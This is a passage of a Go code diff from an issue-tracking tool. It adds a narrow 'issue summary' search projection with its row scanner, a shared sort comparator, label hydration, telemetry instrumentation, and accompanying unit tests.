} + + byID := make(map[string]*types.Issue, len(issues)) + for _, issue := range issues { + byID[issue.ID] = issue + } + + // Guard against a vacuous pass: if the wisp merge stopped returning wisps, + // every marker assertion below would compare zero to zero and succeed. + wispRows := 0 + for _, s := range summaries { + if s.Ephemeral || s.NoHistory { + wispRows++ + } + } + if wispRows < 2 { + t.Fatalf("expected both seeded wisps in the summary result, got %d wisp rows out of %d; "+ + "the marker assertions below would be vacuous", wispRows, len(summaries)) + } + + for _, s := range summaries { + issue, ok := byID[s.ID] + if !ok { + t.Fatalf("SearchIssueSummaries returned %q, not present in SearchIssues result", s.ID) + } + if s.Title != issue.Title { + t.Errorf("%s: Title = %q, want %q", s.ID, s.Title, issue.Title) + } + if s.Status != issue.Status { + t.Errorf("%s: Status = %q, want %q", s.ID, s.Status, issue.Status) + } + if s.Priority != issue.Priority { + t.Errorf("%s: Priority = %d, want %d", s.ID, s.Priority, issue.Priority) + } + if s.IssueType != issue.IssueType { + t.Errorf("%s: IssueType = %q, want %q", s.ID, s.IssueType, issue.IssueType) + } + if s.Assignee != issue.Assignee { + t.Errorf("%s: Assignee = %q, want %q", s.ID, s.Assignee, issue.Assignee) + } + if s.Pinned != issue.Pinned { + t.Errorf("%s: Pinned = %v, want %v", s.ID, s.Pinned, issue.Pinned) + } + if !equalStringSlices(s.Labels, issue.Labels) { + t.Errorf("%s: Labels = %v, want %v", s.ID, s.Labels, issue.Labels) + } + if !s.CreatedAt.Equal(issue.CreatedAt) { + t.Errorf("%s: CreatedAt = %v, want %v", s.ID, s.CreatedAt, issue.CreatedAt) + } + if !s.UpdatedAt.Equal(issue.UpdatedAt) { + t.Errorf("%s: UpdatedAt = %v, want %v", s.ID, s.UpdatedAt, issue.UpdatedAt) + } + switch { + case s.ClosedAt == nil && issue.ClosedAt == nil: + // both nil: fine + case s.ClosedAt == nil || issue.ClosedAt == nil: + t.Errorf("%s: ClosedAt nil-ness mismatch: summary=%v issue=%v", s.ID, s.ClosedAt, issue.ClosedAt) + case !s.ClosedAt.Equal(*issue.ClosedAt): + t.Errorf("%s: ClosedAt = %v, want %v", s.ID, *s.ClosedAt, *issue.ClosedAt) + } + if s.Ephemeral != issue.Ephemeral { + t.Errorf("%s: Ephemeral = %v, want %v", s.ID, s.Ephemeral, issue.Ephemeral) + } + if s.NoHistory != issue.NoHistory { + t.Errorf("%s: NoHistory = %v, want %v", s.ID, s.NoHistory, issue.NoHistory) + } + if s.WispType != issue.WispType { + t.Errorf("%s: WispType = %q, want %q", s.ID, s.WispType, issue.WispType) + } + if s.StorageClass != issue.StorageClass { + t.Errorf("%s: StorageClass = %q, want %q", s.ID, s.StorageClass, issue.StorageClass) + } + } +} + func seedSearchParityFixture(ctx context.Context, t *testing.T, store *DoltStore) { t.Helper() diff --git a/internal/storage/embeddeddolt/list_queries.go b/internal/storage/embeddeddolt/list_queries.go index a165b074e..c801aaeb8 100644 --- a/internal/storage/embeddeddolt/list_queries.go +++ b/internal/storage/embeddeddolt/list_queries.go @@ -31,6 +31,18 @@ func (s *EmbeddedDoltStore) SearchIssueIDs(ctx context.Context, query string, fi return result, err } +// SearchIssueSummaries is the narrow-projection variant of SearchIssues; +// returns []*types.IssueSummary instead of full issues. +func (s *EmbeddedDoltStore) SearchIssueSummaries(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueSummary, error) { + var result []*types.IssueSummary + err := s.withConn(ctx, false, func(tx *sql.Tx) error { + var err error + result, err = issueops.SearchIssueSummariesInTx(ctx, tx, query, filter) + return err + }) + return result, err +} + func (s *EmbeddedDoltStore) SearchIssuesWithCounts(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueWithCounts, error) { var result []*types.IssueWithCounts err := s.withConn(ctx, false, func(tx *sql.Tx) error { diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 1efa3a7be..331484351 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -173,6 +173,7 @@ go_test( "search_goside_sort_test.go", "search_lite_merge_test.go", "search_missing_table_test.go", + "search_summary_merge_test.go", "search_test.go", "tree_walk_test.go", "update_closed_fields_test.go", diff --git a/internal/storage/issueops/scan.go b/internal/storage/issueops/scan.go index fb52fa9da..c7f81f8cc 100644 --- a/internal/storage/issueops/scan.go +++ b/internal/storage/issueops/scan.go @@ -57,6 +57,28 @@ var HeavyDropList = []string{ "payload", } +// IssueSummaryColumns is the column list for types.IssueSummary hydration — +// the narrowest projection, used by list-shaped rendering paths that never +// dereference TEXT/JSON columns. Labels are hydrated separately (they live +// in a join table, not a column); see hydrateSummaryLabels in search.go. +// ScanIssueSummaryFrom below scans it positionally and must stay in agreement; +// TestIssueSummaryColumnsMatchScanner pins that agreement by count. +// +// The trailing four are the wisp-plane markers. searchInTx merges the wisps +// table into every non-SkipWisps result, so they are load-bearing rather than +// optional: without them a wisp row and a durable one are indistinguishable in +// `bd list --json`. All four are narrow scalars (TINYINT(1)/short VARCHAR) +// present on both the issues and wisps tables, so they cost none of the +// TEXT/JSON hydration this projection exists to skip. +// +// Unlike IssueSelectColumnsLite, this list is deliberately NOT a subsequence +// of IssueSelectColumns in order (pinned sits beside the other scalars here, +// not between wisp_type and is_template); the two are scanned by different +// functions, so only each list's own agreement with its scanner matters. +const IssueSummaryColumns = `id, title, status, priority, issue_type, assignee, + pinned, created_at, updated_at, closed_at, + ephemeral, no_history, wisp_type, storage_class` + // IssueScanner is the common interface between *sql.Row and *sql.Rows, // allowing a single scan function to work with both single-row and // multi-row query results. @@ -415,6 +437,63 @@ func ScanIssueLiteFrom(s IssueScanner, extra ...any) (*types.Issue, error) { return &issue, nil } +// ScanIssueSummaryFrom scans a narrow issue summary from any source +// implementing IssueScanner. The caller must ensure the query selected +// exactly IssueSummaryColumns in order. Labels are not populated here — the +// caller must hydrate them separately (see hydrateSummaryLabels in search.go). +func ScanIssueSummaryFrom(s IssueScanner) (*types.IssueSummary, error) { + var summary types.IssueSummary + var assignee sql.NullString + var pinned sql.NullInt64 + var createdAtStr, updatedAtStr sql.NullString + var closedAt sql.NullTime + // Wisp-plane markers. Mapped exactly as ScanIssueFrom maps the same four + // columns, so a row read through either scanner carries identical values: + // the TINYINT(1) pair is truthy-on-nonzero, wisp_type takes any non-NULL + // string, and a NULL storage_class stays empty for EffectiveStorageClass to + // resolve per plane rather than being pinned to a literal here. + var ephemeral, noHistory sql.NullInt64 + var wispType, storageClass sql.NullString + + if err := s.Scan( + &summary.ID, &summary.Title, &summary.Status, &summary.Priority, &summary.IssueType, + &assignee, &pinned, &createdAtStr, &updatedAtStr, &closedAt, + &ephemeral, &noHistory, &wispType, &storageClass, + ); err != nil { + return nil, err + } + + if assignee.Valid { + summary.Assignee = assignee.String + } + if pinned.Valid && pinned.Int64 != 0 { + summary.Pinned = true + } + if createdAtStr.Valid { + summary.CreatedAt = ParseTimeString(createdAtStr.String) + } + if updatedAtStr.Valid { + summary.UpdatedAt = ParseTimeString(updatedAtStr.String) + } + if closedAt.Valid { + summary.ClosedAt = &closedAt.Time + } + if ephemeral.Valid && ephemeral.Int64 != 0 { + summary.Ephemeral = true + } + if noHistory.Valid && noHistory.Int64 != 0 { + summary.NoHistory = true + } + if wispType.Valid { + summary.WispType = types.WispType(wispType.String) + } + if storageClass.Valid { + summary.StorageClass = types.StorageClass(storageClass.String) + } + + return &summary, nil +} + // ParseTimeString parses a time string from database TEXT columns (non-nullable). // Supports RFC3339Nano, RFC3339, and MySQL DATETIME format. func ParseTimeString(s string) time.Time { diff --git a/internal/storage/issueops/scan_test.go b/internal/storage/issueops/scan_test.go index 11081087a..3f2b179ca 100644 --- a/internal/storage/issueops/scan_test.go +++ b/internal/storage/issueops/scan_test.go @@ -230,3 +230,65 @@ func TestScanIssueFrom_PopulatesHeavyFields(t *testing.T) { t.Errorf("ScanIssueFrom: Waiters = %v, want [\"a\"]", issue.Waiters) } } + +// countingScanner records how many destination pointers a scan function asks +// for, without needing a database. Scan itself is a no-op, so the caller's +// post-scan mapping runs against zero-valued dests — harmless, and irrelevant +// to the count this fixture exists to observe. +type countingScanner struct{ dests int } + +func (c *countingScanner) Scan(dest ...any) error { + c.dests = len(dest) + return nil +} + +// TestIssueSummaryColumnsMatchScanner ties IssueSummaryColumns to +// ScanIssueSummaryFrom's dest list by count. The two are hand-synced and read +// positionally, so a column added to one and not the other does not fail +// loudly: the SELECT and the Scan disagree on width, and database/sql reports +// it as a generic scan error from whichever query happens to run first, far +// from the edit that caused it. +// +// This is the summary-projection counterpart of +// TestIssueSelectColumns_LitePlusHeavyEqualsFull, which does the same job for +// the lite projection. +func TestIssueSummaryColumnsMatchScanner(t *testing.T) { + t.Parallel() + + cols := parseSelectColumns(IssueSummaryColumns) + + var scanner countingScanner + if _, err := ScanIssueSummaryFrom(&scanner); err != nil { + t.Fatalf("ScanIssueSummaryFrom with counting scanner: %v", err) + } + + if scanner.dests != len(cols) { + t.Errorf("IssueSummaryColumns has %d columns but ScanIssueSummaryFrom scans %d dests.\n"+ + " columns: %v\n"+ + "Action: add the column to both, in the same position — they are read positionally.", + len(cols), scanner.dests, cols) + } +} + +// TestIssueSummaryColumnsAreRealIssueColumns pins every column in +// IssueSummaryColumns to one that actually exists on the issues and wisps +// tables, by requiring it to appear in IssueSelectColumns — the canonical full +// list both tables are already queried with. +// +// Count parity alone cannot catch a typo: misspelling a column while adding +// its dest keeps the widths equal and fails only at query time, against a real +// database, as an opaque "unknown column" from whichever caller runs first. +// Note this is a membership check, not an order check — unlike +// IssueSelectColumnsLite, IssueSummaryColumns is deliberately not a +// subsequence of the full list (see the const's doc comment). +func TestIssueSummaryColumnsAreRealIssueColumns(t *testing.T) { + t.Parallel() + + full := columnSet(parseSelectColumns(IssueSelectColumns)) + for _, col := range parseSelectColumns(IssueSummaryColumns) { + if _, ok := full[col]; !ok { + t.Errorf("IssueSummaryColumns contains %q, which is not in IssueSelectColumns; "+ + "either it is misspelled or it is not a column on the issues/wisps tables", col) + } + } +} diff --git a/internal/storage/issueops/search.go b/internal/storage/issueops/search.go index df0ff5b95..4a0b10438 100644 --- a/internal/storage/issueops/search.go +++ b/internal/storage/issueops/search.go @@ -32,6 +32,15 @@ func SearchIssueIDsInTx(ctx context.Context, tx DBTX, query string, filter types return searchInTx(ctx, tx, query, filter, idProjection) } +// SearchIssueSummariesInTx is the narrow-projection variant of +// SearchIssuesInTx for list-shaped rendering paths: applies the same WHERE +// clauses, wisp-merge semantics, and sort order as SearchIssuesInTx, but +// projects only the columns in IssueSummaryColumns (plus a separate label +// hydration pass) and returns []*types.IssueSummary instead of full issues. +func SearchIssueSummariesInTx(ctx context.Context, tx DBTX, query string, filter types.IssueFilter) ([]*types.IssueSummary, error) { + return searchInTx(ctx, tx, query, filter, summaryProjection) +} + // SearchWispsPlaneInTx searches the wisps plane ALONE: every row stored in // the wisps table, whatever its ephemeral, no_history or wisp_type values, and // never the issues table. @@ -149,6 +158,21 @@ var idProjection = searchProjection[string]{ }, } +// summaryProjection is the narrow list-rendering variant: reads +// IssueSummaryColumns instead of the wide or lite column sets, scans with +// ScanIssueSummaryFrom, and hydrates only labels (hydrateSummaryLabels) since +// types.IssueSummary carries no Dependencies field to hydrate. idShrink stays +// false (the zero value) — IssueSummaryColumns is already narrower than +// IssueSelectColumnsLite, so Pattern B's extra id-scan round-trip isn't a +// clear win here the way it is for the wide issueProjection. +var summaryProjection = searchProjection[*types.IssueSummary]{ + columns: func(_ FilterTables) string { return IssueSummaryColumns }, + scan: func(rows *sql.Rows) (*types.IssueSummary, error) { return ScanIssueSummaryFrom(rows) }, + id: func(s *types.IssueSummary) string { return s.ID }, + hydrate: hydrateSummaryLabels, + less: sqlbuild.LessSummary, +} + // hydrateIssueLabelsAndDeps bulk-loads labels (and optionally dependencies) // for the given issues. searchTableInTxT runs against exactly one of the // issues/wisps tables, so every ID here belongs to tables.Labels — we use @@ -195,6 +219,29 @@ func missingOptionalWispTable(err error) bool { return ok && sqlbuild.OptionalWispTable(name) } +// hydrateSummaryLabels bulk-loads labels for the given summaries. Mirrors the +// label half of hydrateIssueLabelsAndDeps; types.IssueSummary has no +// Dependencies field, so there is no dependency-hydration half to mirror. +func hydrateSummaryLabels(ctx context.Context, tx DBTX, tables FilterTables, summaries []*types.IssueSummary, filter types.IssueFilter) error { + if filter.SkipLabels { + return nil + } + ids := make([]string, len(summaries)) + for i, s := range summaries { + ids[i] = s.ID + } + labelMap, err := GetLabelsForIssuesFromTableInTx(ctx, tx, tables.Labels, ids) + if err != nil { + return fmt.Errorf("hydrate summary labels: %w", err) + } + for _, s := range summaries { + if labels, ok := labelMap[s.ID]; ok { + s.Labels = labels + } + } + return nil +} + // searchInTx is the shared wisp-merge wrapper. Ephemeral routing, the // empty-wisps probe, the issues+wisps queries, and overlap detection live // here once. Both SearchIssuesInTx and SearchIssueIDsInTx use this body — diff --git a/internal/storage/issueops/search_summary_merge_test.go b/internal/storage/issueops/search_summary_merge_test.go new file mode 100644 index 000000000..5f23c686c --- /dev/null +++ b/internal/storage/issueops/search_summary_merge_test.go @@ -0,0 +1,111 @@ +package issueops + +import ( + "context" + "database/sql/driver" + "testing" + "time" + + "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/types" +) + +// summaryColumnNames is derived from IssueSummaryColumns rather than +// hand-listed beside it. The hand-copied version was one of three lists that +// had to be edited in lockstep (the const, ScanIssueSummaryFrom's dests, and +// this fixture); deriving it deletes one of the three outright, and +// TestIssueSummaryColumnsMatchScanner in scan_test.go pins the remaining pair. +func summaryColumnNames() []string { + return parseSelectColumns(IssueSummaryColumns) +} + +// summaryMergeRow builds one full-width IssueSummaryColumns row with only +// identity/status/priority/created_at populated; every other column, including +// the wisp-plane markers, is NULL — this fixture exercises merge ordering, not +// hydration. +// +// Values are placed by column NAME against summaryColumnNames rather than by +// literal position, so adding a column to IssueSummaryColumns widens this row +// automatically instead of silently shifting every value one slot left. +func summaryMergeRow(id string, createdAt time.Time) []driver.Value { + byName := map[string]driver.Value{ + "id": id, + "title": id, + "status": "open", + "priority": 2, + "issue_type": "task", + "created_at": createdAt.Format(time.RFC3339), + } + cols := summaryColumnNames() + row := make([]driver.Value, len(cols)) + for i, col := range cols { + row[i] = byName[col] // absent from the map => nil => SQL NULL + } + return row +} + +// TestSearchIssueSummariesInTx_MergesAcrossIssuesAndWisps is +// TestSearchIssuesInTx_Lite_MergesAcrossIssuesAndWisps's sibling for +// summaryProjection (SearchIssueSummariesInTx): coverage for be-be3pj +// acceptance criterion 3 — wisp-merge behavior under a limit (top-N +// truncation after merge) was previously exercised only for issueProjection +// and issueLiteProjection, never for summaryProjection. summaryProjection +// already carries less: sqlbuild.LessSummary (unlike issueLiteProjection +// before be-yrtwi's fix), so this test is prophylactic: it locks in the +// currently-correct merge+trim behavior rather than reproducing a live bug. +// +// Fixture: the issues table's 2 rows are both older than either wisps-table +// row. A Limit=2 search over IssueFilter{SortBy: "created"} must return the +// true top-2 by created_at DESC — both wisp rows — not the issues-leg rows +// that would survive a naive concatenate-then-trim (always the issues leg, +// since results := append(filtered, wispResults...)). SkipLabels avoids +// mocking the per-leg label hydration queries. +func TestSearchIssueSummariesInTx_MergesAcrossIssuesAndWisps(t *testing.T) { + t.Parallel() + + day := func(d int) time.Time { return time.Date(2026, 6, d, 0, 0, 0, 0, time.UTC) } + + _, mock, tx := beginMockTx(t) + + // Issues leg: SQL already orders these DESC by created_at (day5, day1) — + // both older than anything in the wisps leg below. + mock.ExpectQuery(`(?s)FROM issues.*LIMIT 2`). + WillReturnRows(sqlmock.NewRows(summaryColumnNames()). + AddRow(summaryMergeRow("bd-issue-mid", day(5))...). + AddRow(summaryMergeRow("bd-issue-old", day(1))...)) + + mock.ExpectQuery(`SELECT 1 FROM wisps LIMIT 1`). + WillReturnRows(sqlmock.NewRows([]string{"1"}).AddRow(1)) + + // Wisps leg: SQL already orders these DESC by created_at (day12, day10) — + // both newer than either issues-leg row. True global top-2 by created + // DESC is entirely this leg. + mock.ExpectQuery(`(?s)FROM wisps.*LIMIT 2`). + WillReturnRows(sqlmock.NewRows(summaryColumnNames()). + AddRow(summaryMergeRow("bd-wisp-newest", day(12))...). + AddRow(summaryMergeRow("bd-wisp-new", day(10))...)) + + filter := types.IssueFilter{ + SortBy: "created", + Limit: 2, + SkipLabels: true, + } + + got, err := SearchIssueSummariesInTx(context.Background(), tx, "", filter) + if err != nil { + t.Fatalf("SearchIssueSummariesInTx: %v", err) + } + + if len(got) != 2 || got[0].ID != "bd-wisp-newest" || got[1].ID != "bd-wisp-new" { + ids := make([]string, len(got)) + for i, g := range got { + ids[i] = g.ID + } + t.Fatalf("SearchIssueSummariesInTx merge: got %v, want [bd-wisp-newest bd-wisp-new] "+ + "(true created-DESC top-2 across issues+wisps, not issues-leg concatenation order)", ids) + } + + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} diff --git a/internal/storage/sqlbuild/sort.go b/internal/storage/sqlbuild/sort.go index 7f233976c..50ab7182a 100644 --- a/internal/storage/sqlbuild/sort.go +++ b/internal/storage/sqlbuild/sort.go @@ -113,16 +113,84 @@ func OrderBy(sortBy string, sortDesc bool, table string) string { }) } +// sortFields holds exactly the columns Less/LessSummary compare. Sharing one +// comparator core (lessFields/sortKeyCompareFields) between types.Issue and +// types.IssueSummary means the correctness-critical NULL-first and tie-break +// rules are written once instead of drifting across two hand-copied switch +// statements. +type sortFields struct { + id string + priority int + createdAt time.Time + updatedAt time.Time + closedAt *time.Time + status string + issueType string + assignee string + title string +} + +func issueSortFields(i *types.Issue) sortFields { + return sortFields{ + id: i.ID, + priority: i.Priority, + createdAt: i.CreatedAt, + updatedAt: i.UpdatedAt, + closedAt: i.ClosedAt, + status: string(i.Status), + issueType: string(i.IssueType), + assignee: i.Assignee, + title: i.Title, + } +} + +func summarySortFields(s *types.IssueSummary) sortFields { + return sortFields{ + id: s.ID, + priority: s.Priority, + createdAt: s.CreatedAt, + updatedAt: s.UpdatedAt, + closedAt: s.ClosedAt, + status: string(s.Status), + issueType: string(s.IssueType), + assignee: s.Assignee, + title: s.Title, + } +} + // Less is the Go-side mirror of OrderBy for merge sorts over rows fetched // from separate queries (issues + wisps). It must order exactly the way the // SQL does, including NULL-first ascending semantics for nullable columns; // otherwise a post-merge limit cut keeps a different row set than SQL // selected. func Less(a, b *types.Issue, sortBy string, sortDesc bool) bool { + af, bf := issueSortFields(a), issueSortFields(b) + return lessFields(&af, &bf, sortBy, sortDesc) +} + +// LessSummary is Less's sibling for types.IssueSummary, used by the +// summaryProjection merge sort (internal/storage/issueops.searchInTx). It +// shares lessFields with Less so the two can never drift on the NULL/tie-break +// rules that make a post-merge limit cut safe. +func LessSummary(a, b *types.IssueSummary, sortBy string, sortDesc bool) bool { + af, bf := summarySortFields(a), summarySortFields(b) + return lessFields(&af, &bf, sortBy, sortDesc) +} + +// lessFields takes its operands by pointer, not by value. sortFields is a +// ~150-byte struct and this runs O(n log n) times inside the issues+wisps +// merge sort, so passing it by value copied it twice here and twice more into +// sortKeyCompareFields on every comparison. The adapters above still build one +// value per row — that normalization is what buys Less and LessSummary a +// single shared body — but nothing copies it again after that. The locals do +// not escape, so they stay on the stack and this adds no allocation. +func lessFields(a, b *sortFields, sortBy string, sortDesc bool) bool { if sortBy == "id" { // This key used to ignore sortDesc, so a reversed id merge kept the // byte-FIRST rows (the sibling bug idSrcPage.sortGoSide's doc named). - return LessID(a.ID, b.ID, sortDesc) + // Living in the shared body means LessSummary honors sortDesc too, + // rather than needing its own copy of the same fix. + return LessID(a.id, b.id, sortDesc) } def, ok := SortDefs[sortBy] if !ok { @@ -133,46 +201,46 @@ func Less(a, b *types.Issue, sortBy string, sortDesc bool) bool { if sortDesc { descending = !descending } - if c := sortKeyCompare(a, b, sortBy); c != 0 { + if c := sortKeyCompareFields(a, b, sortBy); c != 0 { if descending { return c > 0 } return c < 0 } - if (sortBy == "" || sortBy == "priority") && !a.CreatedAt.Equal(b.CreatedAt) { - return a.CreatedAt.After(b.CreatedAt) + if (sortBy == "" || sortBy == "priority") && !a.createdAt.Equal(b.createdAt) { + return a.createdAt.After(b.createdAt) } - return a.ID < b.ID + return a.id < b.id } -// sortKeyCompare three-way compares the primary sort column in ascending -// order, with MySQL NULL-first semantics for nullable columns. -func sortKeyCompare(a, b *types.Issue, sortBy string) int { +// sortKeyCompareFields three-way compares the primary sort column in +// ascending order, with MySQL NULL-first semantics for nullable columns. +func sortKeyCompareFields(a, b *sortFields, sortBy string) int { switch sortBy { case "created": - return compareTimesAsc(a.CreatedAt, b.CreatedAt) + return compareTimesAsc(a.createdAt, b.createdAt) case "updated": - return compareTimesAsc(a.UpdatedAt, b.UpdatedAt) + return compareTimesAsc(a.updatedAt, b.updatedAt) case "closed": switch { - case a.ClosedAt == nil && b.ClosedAt == nil: + case a.closedAt == nil && b.closedAt == nil: return 0 - case a.ClosedAt == nil: + case a.closedAt == nil: return -1 - case b.ClosedAt == nil: + case b.closedAt == nil: return 1 } - return compareTimesAsc(*a.ClosedAt, *b.ClosedAt) + return compareTimesAsc(*a.closedAt, *b.closedAt) case "status": - return strings.Compare(string(a.Status), string(b.Status)) + return strings.Compare(a.status, b.status) case "type": - return strings.Compare(string(a.IssueType), string(b.IssueType)) + return strings.Compare(a.issueType, b.issueType) case "assignee": - return strings.Compare(a.Assignee, b.Assignee) + return strings.Compare(a.assignee, b.assignee) case "title": - return strings.Compare(strings.ToLower(a.Title), strings.ToLower(b.Title)) + return strings.Compare(strings.ToLower(a.title), strings.ToLower(b.title)) } - return a.Priority - b.Priority + return a.priority - b.priority } func compareTimesAsc(a, b time.Time) int { diff --git a/internal/storage/sqlbuild/sqlbuild_test.go b/internal/storage/sqlbuild/sqlbuild_test.go index dcd4bd2b9..ac2d9bfc2 100644 --- a/internal/storage/sqlbuild/sqlbuild_test.go +++ b/internal/storage/sqlbuild/sqlbuild_test.go @@ -2,6 +2,8 @@ package sqlbuild import ( "fmt" + "slices" + "sort" "strings" "testing" "time" @@ -89,6 +91,126 @@ func TestLessIDHonorsSortDesc(t *testing.T) { } } +// TestLessSummaryMirrorsOrderBy is TestLessMirrorsOrderBy's sibling for +// LessSummary/types.IssueSummary. Less and LessSummary share the lessFields +// core, so this mostly guards against a future adapter (summarySortFields) +// dropping or mis-mapping a field rather than the tie-break logic itself. +func TestLessSummaryMirrorsOrderBy(t *testing.T) { + t.Parallel() + + now := time.Now().UTC() + older := now.Add(-time.Hour) + a := &types.IssueSummary{ID: "a", Priority: 1, CreatedAt: now} + b := &types.IssueSummary{ID: "b", Priority: 2, CreatedAt: now} + if !LessSummary(a, b, "", false) || LessSummary(b, a, "", false) { + t.Error("default sort must order priority 1 before priority 2") + } + c := &types.IssueSummary{ID: "c", Priority: 1, CreatedAt: older} + if !LessSummary(a, c, "", false) { + t.Error("equal priority must order newer created_at first (created_at DESC)") + } + d := &types.IssueSummary{ID: "d", Priority: 1, CreatedAt: now} + if !LessSummary(a, d, "", false) || LessSummary(d, a, "", false) { + t.Error("full tie must break by id ASC") + } +} + +// TestLessSummaryMatchesLessAcrossSortKeys is TestLessSummaryMirrorsOrderBy's +// broader sibling: instead of spot-checking only the default tie-break chain, +// it sorts a parallel Issue/IssueSummary fixture with Less and LessSummary +// for every SortDefs key (plus "id") in both directions and asserts the two +// produce identical ID order. Less and LessSummary already share the +// lessFields core, so this mainly guards summarySortFields: if a future field +// is added to sortFields without updating summarySortFields, the two +// adapters silently diverge and this is what would catch it. +func TestLessSummaryMatchesLessAcrossSortKeys(t *testing.T) { + t.Parallel() + + day := func(d int) time.Time { return time.Date(2026, 1, d, 0, 0, 0, 0, time.UTC) } + closedOn := func(d int) *time.Time { c := day(d); return &c } + + type row struct { + id string + priority int + createdAt time.Time + updatedAt time.Time + closedAt *time.Time + status types.Status + issueType types.IssueType + assignee string + title string + } + // Distinct (and, for priority, partially tied) values on every field so + // each sort key — including the tie-break chain the "" and "priority" + // keys share — produces a non-trivial, checkable order. + rows := []row{ + {"p1", 3, day(1), day(5), nil, types.StatusOpen, types.TypeBug, "alice", "Zebra"}, + {"p2", 1, day(3), day(2), closedOn(10), types.StatusBlocked, types.TypeEpic, "bob", "apple"}, + {"p3", 2, day(5), day(4), closedOn(8), types.StatusClosed, types.TypeTask, "carol", "Mango"}, + {"p4", 1, day(2), day(1), nil, types.StatusInProgress, types.TypeChore, "dave", "banana"}, + {"p5", 4, day(4), day(3), closedOn(6), types.StatusOpen, types.TypeBug, "eve", "Orange"}, + } + + issues := make([]*types.Issue, len(rows)) + summaries := make([]*types.IssueSummary, len(rows)) + for i, r := range rows { + issues[i] = &types.Issue{ + ID: r.id, Priority: r.priority, CreatedAt: r.createdAt, UpdatedAt: r.updatedAt, + ClosedAt: r.closedAt, Status: r.status, IssueType: r.issueType, Assignee: r.assignee, Title: r.title, + } + summaries[i] = &types.IssueSummary{ + ID: r.id, Priority: r.priority, CreatedAt: r.createdAt, UpdatedAt: r.updatedAt, + ClosedAt: r.closedAt, Status: r.status, IssueType: r.issueType, Assignee: r.assignee, Title: r.title, + } + } + + keys := make([]string, 0, len(SortDefs)+1) + for key := range SortDefs { + keys = append(keys, key) + } + keys = append(keys, "id") + + for _, key := range keys { + for _, desc := range []bool{false, true} { + name := key + if name == "" { + name = "default" + } + if desc { + name += "/desc" + } else { + name += "/asc" + } + t.Run(name, func(t *testing.T) { + t.Parallel() + + sortedIssues := append([]*types.Issue(nil), issues...) + sort.Slice(sortedIssues, func(i, j int) bool { + return Less(sortedIssues[i], sortedIssues[j], key, desc) + }) + sortedSummaries := append([]*types.IssueSummary(nil), summaries...) + sort.Slice(sortedSummaries, func(i, j int) bool { + return LessSummary(sortedSummaries[i], sortedSummaries[j], key, desc) + }) + + gotIssues := make([]string, len(sortedIssues)) + for i, is := range sortedIssues { + gotIssues[i] = is.ID + } + gotSummaries := make([]string, len(sortedSummaries)) + for i, s := range sortedSummaries { + gotSummaries[i] = s.ID + } + + if !slices.Equal(gotIssues, gotSummaries) { + t.Errorf("Less vs LessSummary order diverge for sortBy=%q sortDesc=%v:\n Less: %v\n LessSummary: %v", + key, desc, gotIssues, gotSummaries) + } + }) + } + } +} + func TestBuildReadyWorkOrderPriorityFIFO(t *testing.T) { t.Parallel() diff --git a/internal/storage/storage.go b/internal/storage/storage.go index b90f62833..28b9536c7 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -409,6 +409,29 @@ type Storage interface { // returns only matching issue IDs. Use when full row hydration is wasted // (e.g., partial-ID resolution in internal/utils/id_parser.go). SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) + // SearchIssueSummaries is a narrow-projection variant of SearchIssues that + // returns []*types.IssueSummary instead of full issues, for list-shaped + // rendering paths that never dereference TEXT/JSON columns. SortBy/SortDesc + // are honored identically to SearchIssues — including SortBy=="id", which + // both paths deliberately leave to the caller: sqlbuild.OrderBy emits no + // ORDER BY for it (sqlbuild.IsGoSideSort), so storage orders id-sorted rows + // only where the issues+wisps merge re-sorts them (sqlbuild.LessSummary, + // mirroring sqlbuild.Less for SearchIssues). The user-facing id order is + // cmd/bd's, applied post-call via utils.NaturalCompareIDs — numeric-aware + // and intentionally different from the lexicographic storage comparator, so + // a storage-side id sorter here would diverge from SearchIssues rather than + // complete it. + // + // Two filter fields behave differently here than on SearchIssues, both + // because types.IssueSummary has no Dependencies field to populate: + // IncludeDependencies is a silent no-op (SearchIssues hydrates dependency + // records; this path has nowhere to put them, so a caller that needs them + // must use SearchIssues), while SkipLabels is honored exactly as it is + // there. Wisps are NOT excluded: the issues+wisps merge runs for any filter + // that does not set SkipWisps, and types.IssueSummary carries the four + // wisp-plane markers so a merged wisp row serializes identically to the one + // SearchIssues would return. + SearchIssueSummaries(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueSummary, error) // Dependencies AddDependency(ctx context.Context, dep *types.Dependency, actor string) error diff --git a/internal/telemetry/storage.go b/internal/telemetry/storage.go index bd11798e6..d60574eef 100644 --- a/internal/telemetry/storage.go +++ b/internal/telemetry/storage.go @@ -275,6 +275,17 @@ func (s *InstrumentedStorage) SearchIssueIDs(ctx context.Context, query string, return ids, err } +func (s *InstrumentedStorage) SearchIssueSummaries(ctx context.Context, query string, filter types.IssueFilter) ([]*types.IssueSummary, error) { + attrs := []attribute.KeyValue{attribute.String("bd.query", query)} + ctx, span, t := s.op(ctx, "SearchIssueSummaries", attrs...) + summaries, err := s.inner.SearchIssueSummaries(ctx, query, filter) + if err == nil { + span.SetAttributes(attribute.Int("bd.result.count", len(summaries))) + } + s.done(ctx, span, t, err, attrs...) + return summaries, err +} + // ── Dependencies ──────────────────────────────────────────────────────────── func (s *InstrumentedStorage) AddDependency(ctx context.Context, dep *types.Dependency, actor string) error { diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index c87b51074..15f4c8d94 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -17,6 +17,7 @@ go_test( srcs = [ "explain_test.go", "id_generator_test.go", + "issue_summary_test.go", "storage_class_test.go", "types_test.go", ], diff --git a/internal/types/issue_summary_test.go b/internal/types/issue_summary_test.go new file mode 100644 index 000000000..17acb9686 --- /dev/null +++ b/internal/types/issue_summary_test.go @@ -0,0 +1,264 @@ +package types + +import ( + "encoding/json" + "reflect" + "testing" + "time" +) + +// TestIssueSummaryJSONTagsMatchIssue pins IssueSummary's wire shape to Issue's, +// field by field. IssueSummary is a narrow projection of Issue, so any field it +// carries must serialize under the same key with the same omitempty behavior — +// otherwise a summary-backed `bd list --json` and a full-Issue-backed one emit +// different documents 